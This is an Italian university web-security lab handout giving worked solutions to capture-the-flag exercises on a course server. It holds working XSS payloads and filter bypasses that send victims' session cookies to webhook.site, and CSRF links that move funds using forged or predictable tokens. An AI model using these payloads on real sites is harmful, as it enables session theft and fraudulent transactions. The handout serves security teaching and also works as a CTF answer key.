



Laboratorio Web Security 3

Giacomo Bettini

giacomo.bettini@unife.it

Alex Bellan

Lucia Ferrari



**Come al solito tutte le challenge
a: <http://ctf.unife.it/>**

PER RICEVERE LE FLAG:

- Inviare gli attacchi XSS su <http://ctf.unife.it/:18080/>
- Inviare gli attacchi CSRF su <http://ctf.unife.it/:18181/>

Sito per raccogliere richieste HTTP:
<https://webhook.site/>

JavaScript:
window.location
document.cookie



Esercizio 1: XSS-1

Link: <http://ctf.unife.it/:13080>

Obiettivo: trovare la vulnerabilità a XSS e creare un link che, se inviato a una vittima che ci clicca sopra, vi permetta di ottenere il suo cookie di sessione

Soluzione:



Se le soluzioni non funzionano,
sostituire + con %2B

Punti vulnerabili:

- Casella di ricerca dei post
- `http://ctf.unife.it/:13080/posts?text=<script>document.location="https://webhook.site/VOSTRO_ID?cookie="+document.cookie</script>`
- Prendere il link dell'attacco dalla sezione network e inviarlo sul sito per ricevere la flag

Soluzione alternativa:

- `http://ctf.unife.it/:13080/posts?text=<script>document.write('');</script>`



Esercizio 2: XSS-2

Link: <http://ctf.unife.it/:13081>

Obiettivo: trovare la vulnerabilità a XSS e creare un link che, se inviato a una vittima che ci clicca sopra, vi permetta di ottenere il suo cookie di sessione

Soluzione:

Se le soluzioni non funzionano,
sostituire + con %2B

- Casella di ricerca
- Elimina la presenza del tag `<script> </script>`
- Eludibile inserendo: `<scr<script>ipt>alert(1)</scr</script>ipt>`
 - `http://ctf.unife.it/:13081/posts?text=<scr<script>ipt>document.location="https://webhook.site/VOSTRO_ID?cookie="+document.cookie</scr</script>ipt>`
- Oppure scrivendo `<SCRIPT>` e `</SCRIPT>` in maiuscolo
 - `http://ctf.unife.it/:13081/posts?text=<SCRIPT>alert(1)</SCRIPT>`
- Soluzioni alternative:
 - `http://ctf.unife.it/:13081/posts?text=<scr</script>ipt>document.write('');</scr</script>ipt>`
 - `http://ctf.unife.it/:13081/posts?text=<SCRIPT>document.write('');</SCRIPT>`



Esercizio 3: XSS-3

Link: <http://ctf.unife.it/:13082>

Obiettivo: trovare la vulnerabilità a XSS e creare un link che, se inviato a una vittima che ci clicca sopra, vi permetta di ottenere il suo cookie di sessione

Soluzione:



Se le soluzioni non funzionano,
sostituire + con %2B

- Il sito consente di inserire una foto profilo (tramite parametro GET della pagina /profilo.php)
- Non viene validato l'URL, quindi si può scrivere come "src" dell'immagine:
- `x onerror=alert(1)`
- Visto che l'URL "x" non è un'immagine viene eseguito il JavaScript specificato nell'attributo "onerror"
- `http://ctf.unife.it/:13082/profile?pfpic=x
onerror="document.location='https://webhook.site/VOSTRO_ID?cookie='+document.cookie"`



Esercizio 4: XSS-4

Link: <http://ctf.unife.it/:13083>

Obiettivo: trovare la vulnerabilità a XSS e creare un link che, se inviato a una vittima che ci clicca sopra, vi permetta di ottenere il suo cookie di sessione

Soluzione:



Se le soluzioni non funzionano,
sostituire + con %2B

- Casella di ricerca
- Disattivare JavaScript sul proprio browser per inserire <, >, ", ' ,
- Oppure, scrivere il JavaScript direttamente nell'URL
- `http://ctf.unife.it/13083/posts?text=<scr<script>ipt>document.location="https://webhook.site/VOSTRO_ID?cookie="+document.cookie</scr</script>ipt>`
- `http://ctf.unife.it/13083/posts?text=<SCRIPT>document.location="https://webhook.site/VOSTRO_ID?cookie="+document.cookie</SCRIPT>`



Esercizio 5: CSRF-1

Link: <http://ctf.unife.it/:13084>

Obiettivo: trovare la vulnerabilità e creare un link che, se cliccato da una vittima, gli faccia eseguire una transazione di 1000 euro sul vostro conto. Riceverete la flag quando avrete rubato un totale di almeno 1000 euro all'admin.

Soluzione:



- L'esecuzione di una transazione non è protetta da csrf-token
- Strumenti di sviluppo web → risorse di rete
- Recuperare l'url con i parametri
- Eseguire l'attacco
- `http://ctf.unife.it:13084/effettua-transazione?toconto=VOSTROCONTO&amount=1000`
- L'attacco va inviato a: <http://ctf.unife.it:18181> e riceverete la flag nella home page quando avrete rubato un totale di almeno 1000 euro all'admin



Esercizio 6: CSRF-2

Link: <http://ctf.unife.it/:13085>

Obiettivo: trovare la vulnerabilità e creare un link che, se cliccato da una vittima, gli faccia eseguire una transazione di 1000 euro sul vostro conto. Riceverete la flag quando avrete rubato un totale di almeno 1000 euro all'admin.

Soluzione:



Se le soluzioni non funzionano,
sostituire + con %2B

- L'esecuzione di una transazione è protetta da csrf-token
- Il sito al momento è in manutenzione
- Provare a fare una transazione → recupero del link della chatbot dell'amministratore
- Preparare un attacco XSS per recuperare il token dell'amministratore
 - La ricerca di transazioni è vulnerabile a XSS, quindi vedi esercizio XSS-1
 - `http://ctf.unife.it/:13085/search?searched=<script>window.location="https://webhook.site/VOSTRO-ID?cookie="+document.cookie</script>`
- Provare a eseguire una transazione per recuperare da strumenti di sviluppo l'URL con i parametri
- Eseguire l'attacco
- `http://ctf.unife.it/:13085/effettua-transazione?toconto=VOSTRO_CONTO&amount=1000&token=I3-tr4ns4z10n1-s0n0-4b1I1t4t3`



Esercizio 7: CSRF-3

Link: <http://ctf.unife.it/:13086>

Obiettivo: trovare la vulnerabilità e creare un link che, se cliccato da una vittima, gli faccia eseguire una transazione di 1000 euro sul vostro conto. Riceverete la flag quando avrete rubato un totale di almeno 1000 euro all'admin.

Soluzione:



- L'esecuzione di una transazione è protetta da csrf-token
- Il csrf token è generato secondo un pattern riconoscibile facilmente
 - `username + "_" + timestamp_in_secondi + "_" + "^" + 2_cifre_casuali`
 - il timestamp deve essere entro 5 minuti rispetto al timestamp corrente
- Costruire un csrf token valido a seconda della vittima ed eseguire l'attacco
- `http://ctf.unife.it:13086/effettua-transazione?toconto=VOSTRO_CONTO&amount=1000&token=TOKEN_VALIDO`



Esercizio 8: CSRF-4

Link: <http://ctf.unife.it/:13087>

Si consiglia di creare un nuovo account con username di massimo 5 caratteri.

Obiettivo: trovare la vulnerabilità e creare un link che, se cliccato da una vittima, gli faccia eseguire una transazione di 1000 euro sul vostro conto. Riceverete la flag quando avrete rubato un totale di almeno 1000 euro all'admin.

Soluzione:



- L'esecuzione di una transazione è protetta da csrf-token
- Il csrf token è generato facendo l'md5 dello username dell'utente
- Per riconoscere che è un md5 usare strumenti di riconoscimento online (<https://www.tunnelsup.com/hash-analyzer/>)
- Intuire che è l'md5 dello username dell'utente altrimenti:
 - usare strumenti per bucare l'md5 (<https://github.com/openwall/john>)
- In questo caso stiamo rubando soldi all'account admin (l'username è admin), quindi dobbiamo fare l'md5 di "admin": 21232f297a57a5a743894a0e4a801fc3
- `http://ctf.unife.it:13087/effettua-transazione?toconto=VOSTRO_CONTO&amount=1000&token=21232f297a57a5a743894a0e4a801fc3`